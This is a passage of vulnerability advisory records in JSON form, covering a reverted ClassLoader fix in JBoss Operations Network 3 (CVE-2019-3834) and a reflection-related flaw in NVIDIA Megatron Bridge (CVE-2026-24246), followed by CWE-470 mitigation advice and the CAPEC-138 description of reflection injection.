  "details": "It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.",
  "id": "GHSA-r4h2-77r7-2xch",
  "modified": "2024-04-04T02:08:30Z",
  "published": "2022-05-24T16:57:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3834"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3834"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R68H-Q8CP-98MX

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31
VLAI
Details

NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause improper control of dynamically managed code resources. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-24246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T16:16:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause improper control of dynamically managed code resources. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.",
  "id": "GHSA-r68h-q8cp-98mx",
  "modified": "2026-07-01T18:31:47Z",
  "published": "2026-07-01T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Refactor your code to avoid using reflection.

Mitigation
Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Mitigation
Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

CAPEC-138: Reflection Injection

An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.

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